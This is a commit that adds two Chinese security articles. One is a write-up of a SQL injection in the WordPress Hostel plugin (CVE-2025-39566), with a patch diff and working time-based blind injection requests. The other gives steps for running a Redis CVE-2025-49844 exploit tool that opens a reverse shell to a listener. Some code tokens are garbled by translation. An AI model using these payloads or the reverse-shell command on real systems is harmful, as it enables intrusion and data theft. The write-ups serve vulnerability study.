Redis 远程代码执行漏洞(CVE-2025-49844)、CVE-2025-39566 sql注入漏洞、

This commit is contained in:
test committed 2026-01-29 08:40:08 +00:00
1 parent be04bdec58
commit 50000e9973
3 files changed
+1057 -1

No files matched your search

+3 -1
View File
@@ -17331,5 +17331,7 @@
"https://mp.weixin.qq.com/s/NeNJMvrTvgHMXEgw75hUZg": "年度报告 | 2025年漏洞态势全景复盘!",
"https://mp.weixin.qq.com/s/GnNxQ29vqFVV43h0CTz5VQ": "网安靶场实战指南(第4期):OWASP Juice Shop入门——前后端分离架构下的漏洞挖掘",
"https://mp.weixin.qq.com/s/mLIvzi12Xq7mosK-FJD8TQ": "国家漏洞库CNNVD:关于Microsoft Office安全漏洞的通报;韩国公共系统全面沦陷:模拟攻击揭示安全防护重大缺陷| 牛览",
"https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析"
"https://mp.weixin.qq.com/s/ZyVVh1BQNOO_fEDtc7Qjqw": "谷歌关于多个威胁行为者利用 WinRAR 严重漏洞 CVE-2025-8088 进行攻击分析",
"https://mp.weixin.qq.com/s/HQDSxpkZFgmPWlBLMxiEgw": "Redis 远程代码执行漏洞(CVE-2025-49844)",
"https://mp.weixin.qq.com/s/iRSKfbWctpUQYg2tmupopQ": "CVE-2025-39566 sql注入漏洞"
}
@@ -0,0 +1,993 @@
# CVE-2025-39566 sql注入漏洞
原创 匆匆过客
匆匆过客 天启攻防实验室 2026-01-29 07:04
 
Hostel
 插件在 
1.1.5.7
 版本之前存在一个漏洞。由于输入未得到妥善清理,这可能允许攻击者直接与数据库交互,包括但不限于数据窃取。
·
CVE 编号
: 
CVE-2025-39566
·
产品
: 
WordPress Hostel 插件
·
漏洞类型
: SQL注入
·
受影响版本
: <= 1.1.5.6
·
CVSS 严重性等级
: 7.6 (高危)
·
所需权限
: 管理员
## 环境要求
·
本地 WordPress 与调试环境
: 
本地 WordPress 与调试
。
·
Hostel 插件
: v1.1.5.6 (存在漏洞) 和 v1.1.5.7 (已修复)
·
差异对比工具
: 
meld
 或任何能够比较两个版本差异的工具
## 分析
根本原因在于应用程序将来自 
GET
 请求的数据直接注入到 SQL 查询中,同时验证/白名单机制不足。
### 补丁差异对比
使用任何差异对比工具来比较存在漏洞的版本和已修复的版本。              
在文件 
controllers/bookings.php
 中存在明显差异。
存在漏洞的版本
:
if
(
!
empty
(
$_GET
[
'ob'
])) {
           
           
           
           
           
    
$orderby
=
"ORDER BY "
.
sanitize_text_field(
$_GET
[
'ob'
]) 
.
' '
.
$dir
;
}
已修复的版本
:
if
(
!
empty
(
$_GET
[
'ob'
])) {
    
$ob
=
 sanitize_text_field(
$_GET
[
'ob'
])
;
    
if
(
!
in_array
(
$ob, [
'tB.id', 
'tB.contact_name', 
'tB.contact_email', 
'tB.from_date', 
'tB.amount_paid', 
'tB.status'
])) {
        
$ob
=
'tB.id'
;
    
}
    
$orderby
=
"ORDER BY 
$ob
$dir
"
;
}
👉 补丁使用了一个
白名单
来限制哪些列可用于排序;如果提供的值无效,则回退到 
'tB.id'
。
分析
: 漏洞之所以出现,是因为 
ob
 参数在 
sanitize_text_field()
 之后被直接传递到 
ORDER BY
 子句中。该函数仅对 HTML 上下文中的文本进行转义/清理,并未针对 SQL 上下文中的 SQL注入 进行验证或过滤。
### 工作原理
要进行注入,我们需要识别此处使用的完整查询:
$bookings
=
$wpdb
->get_results(
"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room FROM "
.
WPHOSTEL_BOOKINGS
.
" tB JOIN "
.
WPHOSTEL_ROOMS
.
" tR ON tR.id = tB.room_id WHERE is_static=0 
$where_sql
$orderby
$limit_sql
"
)
;
该查询位于 
switch
 结构的 
default
 分支中。
所有这些逻辑都属于 
WPHostelBookings
 类的静态 
manage()
 方法。
类 WPHostelBookings {
    
static
 函数 manage() {
        
global
$wpdb
;
        
$_booking
=
new
 WPHostelBooking()
;
        
switch
(
@
$_GET
[
'do'
]) {
            
case
'add'
:
// add handle
            
break
;
            
case
'edit'
:
// edit handle
            
break
;
            
// view/print booking details. Will allow also to confirm/cancel
            
case
'view'
:
// view handle
           
           
           
            
break
;
           
           
           
            
// list bookings
            
default
:
            
// another logic
            
if
(
!
empty
(
$_GET
[
'ob'
])) {
           
           
           
           
           
                
$orderby
=
"ORDER BY "
.
sanitize_text_field(
$_GET
[
'ob'
]) 
.
' '
.
$dir
;
            
}
            
$bookings
=
$wpdb
->get_results(
"SELECT SQL_CALC_FOUND_ROWS tB.*, tR.title as room 
            
FROM "
.
WPHOSTEL_BOOKINGS
.
" tB JOIN "
.
WPHOSTEL_ROOMS
.
" tR ON tR.id = tB.room_id
            
WHERE is_static=0 
$where_sql
$orderby
$limit_sql
"
)
;
            
// another logic
            
break
;
        
}
    
}
}
在 WordPress 中,插件通过
插件 API (钩子系统)
 与核心通信。因此,要找到 
manage()
 被调用的位置,我们可以在插件文件夹中搜索字符串 
"manage"
。
![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCVwr1flzcEughQPl8Uzh7O36maBQVzIdNvke4eK1n65ooQXY8073GkQ/640?wx_fmt=png "")
在文件 
models/hostel.php
 中,我们有:
class
 WPHostel {
    
// another logic
    
static
 函数 menu() {
        
// we use 'hostelpro_manage' for consistency with the pro version
        
$wphostel_caps
=
 current_user_can(
'manage_options'
) 
?
'manage_options'
:
'hostelpro_manage'
;
     
        
add_menu_page(
__
(
'Hostel', 
'wphostel'
), 
__
(
'Hostel', 
'wphostel'
), 
$wphostel_caps, 
"wphostel_options", 
            
数组(
__CLASS__, 
"options"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
'Settings', 
'wphostel'
), 
__
(
'Settings', 
'wphostel'
), 
$wphostel_caps, 
"wphostel_options", 
            
数组(
__CLASS__, 
"options"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
"Manage Rooms", 
'wphostel'
), 
__
(
"Manage Rooms", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_rooms', 数组(
'WPHostelRooms', 
"manage"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
"Manage Bookings", 
'wphostel'
), 
__
(
"Manage Bookings", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_bookings', 数组(
'WPHostelBookings', 
"manage"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
"Unavailable Dates", 
'wphostel'
), 
__
(
"Unavailable Dates", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_unavailable', 数组(
'WPHostelBookings', 
"unavailable"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
"Email Log", 
'wphostel'
), 
__
(
"Email Log", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_emaillog', 数组(
'WPHostelHelp', 
"email_log"
))
;
        
add_submenu_page(
'wphostel_options', 
__
(
"Help", 
'wphostel'
), 
__
(
"Help", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_help', 数组(
'WPHostelHelp', 
"index"
))
;
     
    
}
    
// another logic
}
这里:
·
add_menu_page()
 在管理员仪表板中创建
主菜单
。
·
add_submenu_page()
 在该菜单下添加
子菜单
项。
·
$回调函数
 参数是用户点击菜单/子菜单时调用的
回调函数
。
示例:
// add_menu_page($page_title, $menu_title, $capability, $menu_slug, $回调函数 = '', $icon_url = '', $position = null);
add_menu_page(
__
(
'Hostel', 
'wphostel'
), 
__
(
'Hostel', 
'wphostel'
), 
$wphostel_caps, 
"wphostel_options", 
    
数组(
__CLASS__, 
"options"
))
;
// add_submenu_page($parent_slug, $page_title, $menu_title, $capability, $menu_slug, $回调函数 = '');
add_submenu_page(
'wphostel_options', 
__
(
"Manage Bookings", 
'wphostel'
), 
__
(
"Manage Bookings", 
'wphostel'
), 
$wphostel_caps, 
'wphostel_bookings', 数组(
'WPHostelBookings', 
"manage"
))
;
// 数组('WPHostelBookings', "manage")); => WPHostelBookings::manage()
所有这些菜单/子菜单项都在 
WPHostel
 类的静态 
menu()
 方法中注册。要定位 
menu()
 的调用位置,请在插件目录中搜索 
menu
 钩子。
![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCl6pFE88RpFoIuic5ea9EnYth2kZghuPic8RwyE6FD4uWXZgh6ichEqE8Q/640?wx_fmt=png "")
在插件根文件 
hostel.php
 中,我们有:
add_action(
'admin_menu', 数组(
"WPHostel", 
"menu"
))
;
// => 回调函数: WPHostel::menu()
·
add_action()
 是 WordPress 插件 API,用于将
回调函数
附加到
动作钩子
。
·
这里的钩子名称是 
admin_menu
,意味着 
WPHostel::menu()
 将在 WordPress 构建管理员仪表板菜单的生命周期中被调用。
管理员界面中的菜单
{{< figure src="menu_ui.png" caption="菜单界面" >}}
调试
·
有问题的功能位于
预订管理器
中,因此在管理员界面中导航到 
Manage Bookings
 子菜单。
·
在默认分支之前有一个注释 
// list bookings
 —— 表明此代码处理
列出和排序预订
。
·
打开你的调试器:
o
点击 使用调试器运行。
o
在包含漏洞代码的 
switch
 分支以及分配漏洞值的具体行设置
断点
。
·
当你点击预订表中的列标题时,观察:
o
调试器步入 
switch
。
o
使用
单步跳过
到达 
default
 分支。
o
继续
单步跳过
并检查 
Variables > Locals
 中的变量。这些变量组合起来形成下面的 SQL 查询。
组合变量后,完整的查询如下所示:
SELECT
 SQL_CALC_FOUND_ROWS tB.
*
, tR.title 
as
 room 
FROM
 wp_hostel_bookings tB 
JOIN
 wp_hostel_rooms tR 
ON
 tR.
id
=
 tB.room_id 
WHERE
 is_static
=
0
AND
 tB.
id
=
..
. 
ORDER
BY
 tB.amount_paid 
ASC
|
DESC
LIMIT
..
.
值得注意的是,
$orderby
 变量被赋值为:
if
(
!
empty
(
$_GET
[
'ob'
])) {
           
           
           
           
           
    
$orderby
=
"ORDER BY "
.
sanitize_text_field(
$_GET
[
'ob'
]) 
.
' '
.
$dir
;
}
⚠️ 此处的问题:
·
ORDER BY
 之后的部分使用了 
sanitize_text_field()
。
·
该函数仅
清理 HTML
,并未验证或过滤输入以确保其在 
SQL 上下文
中的安全性。
·
因此,
ob
 参数(由用户提供)可能被滥用以
直接注入 SQL
。
## 漏洞利用
### 检测 SQL 注入
使用 BurpSuite 的请求
:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=upcoming&ob=tB.status,(SELECT+SLEEP(10))&dir=ASC HTTP/1.1
我们用逗号分隔 
ORDER BY
 子句,因为它接受
多列
值。
![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCxY1icfrpMXsjHw4DQicIPfboCQyujfRnBvajJUFz27Ee9sDlicVibLPINw/640?wx_fmt=png "")
结果:响应时间延迟 → SQL注入 成功。
### 从数据库转储数据
使用 ORD() 绕过 
'
:
要转储数据库数据,我们需要提取字符,例如
数据库名称
的第一个字符。
由于 
sanitize_text_field()
 移除了单引号 (
'
),我们不能使用依赖 
'
 的有效载荷。相反,使用 
ORD()
 来比较字符的 ASCII 码:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(ORD(SUBSTRING(数据库(),1,1))=119,SLEEP(5),0))&dir=ASC HTTP/1.1
绕过成功 → 我们可以提取数据库名称。
![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCYm7uplArnlHicARw7usIcxicSeYL8xqU1jjaaJ6s30oH0cMapZ6Cnqag/640?wx_fmt=png "")
使用十六进制编码绕过 
'
 (替代方法)
除了 
ORD()
,我们还可以使用
十六进制编码
来绕过:
GET /wp-管理员/管理员.php?page=wphostel_bookings&type=past&ob=tB.status,(SELECT+IF(SUBSTRING(数据库(),1,1)=0x77,SLEEP(5),0))&dir=ASC HTTP/1.1
绕过成功 → 数据库名称可以被提取。
![](https://mmbiz.qpic.cn/mmbiz_png/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCYm7uplArnlHicARw7usIcxicSeYL8xqU1jjaaJ6s30oH0cMapZ6Cnqag/640?wx_fmt=png "")
## 结论
WordPress 
Hostel
 插件(
1.1.5.7
 之前的版本)中的漏洞 
CVE-2025-39566
 源于将用户提供的输入直接插入 SQL 查询而缺乏足够的防护措施,导致了 SQL注入。
关键要点
:
·
sanitize_text_field()
 ≠ 针对 
SQL注入
 的保护
·
清楚地区分针对 HTML 上下文的输入清理和针对 SQL 上下文的验证/清理
## 参考资料
SQL注入 备忘单 – PortSwigger
WordPress Hostel 插件 <= 1.1.5.6 存在 SQL注入 漏洞 - patchstack
更多实战内容尽在星球:
![](https://mmbiz.qpic.cn/mmbiz_jpg/XpEvyXAhfbh8x60bBDz7OYGpKncianOlCzRVJdibQRW6gM79aefmic8bJZclC7DOC20FQHtC7vpr0r1BQqJ8xZV4Q/640?wx_fmt=jpeg&from=appmsg "")
@@ -0,0 +1,61 @@
# Redis 远程代码执行漏洞(CVE-2025-49844)
【白】
【白】 白安全组 2026-01-29 05:59
前言
此漏洞利用的是 Redis 源代码中一处已存在约 13 年的 “释放后使用”(Use-After-Free,
UAF)内存损坏漏洞。经过身份验证的攻击者可发送特制的恶意 Lua 脚本(Redis 默认支持该功能),
突破 Lua 沙箱限制,在 Redis 主机上执行任意原生代码。这将使攻击者获得主机系统的完全控制权,
进而窃取、删除或加密敏感数据,劫持资源,并在云环境中横向移动。
正文
1、首先我们需要在监听机器上开启nc准备反弹
安装 uv
```
tar xf uv-x86_64-unknown-linux-gnu.tar.gz --strip-components=1 -C /usr/bin/
```
解压测试工具
```
unzip cve-2025-49844-main.zip
```
```
cd cve-2025-49844-main
```
安装配置依赖包:
```
uv run --index-url https://pypi.tuna.tsinghua.edu.cn/simple
```
漏洞利用
```
uv run cve-2025-49844 rshell -H 192.168.1.53 -P 6379 -l 192.168.1.53 -p 4444
```
```
-H 目标 redis 服务器的 ip
-P redis 目标端口
-l nc监听ip
-p 监听端口
-Password redis 连接密码默认没有
```
![](https://mmbiz.qpic.cn/mmbiz_png/1AUjJ6HpTUbMicdThXu26F66sIVgZHrKN2iaXll5kWUckLFXT5uAe9UwuGy7RekIeG3uxMhiauV3TXBBYBp6yoV8w/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/1AUjJ6HpTUbMicdThXu26F66sIVgZHrKN84WQBiaoVicKBNcb3l4WosPTPd6r4v1vt6VU91GZI1BdmbxyMFdb0Lfw/640?wx_fmt=png&from=appmsg "")
工具包关注公众号发送
```
redis-rce
```
获取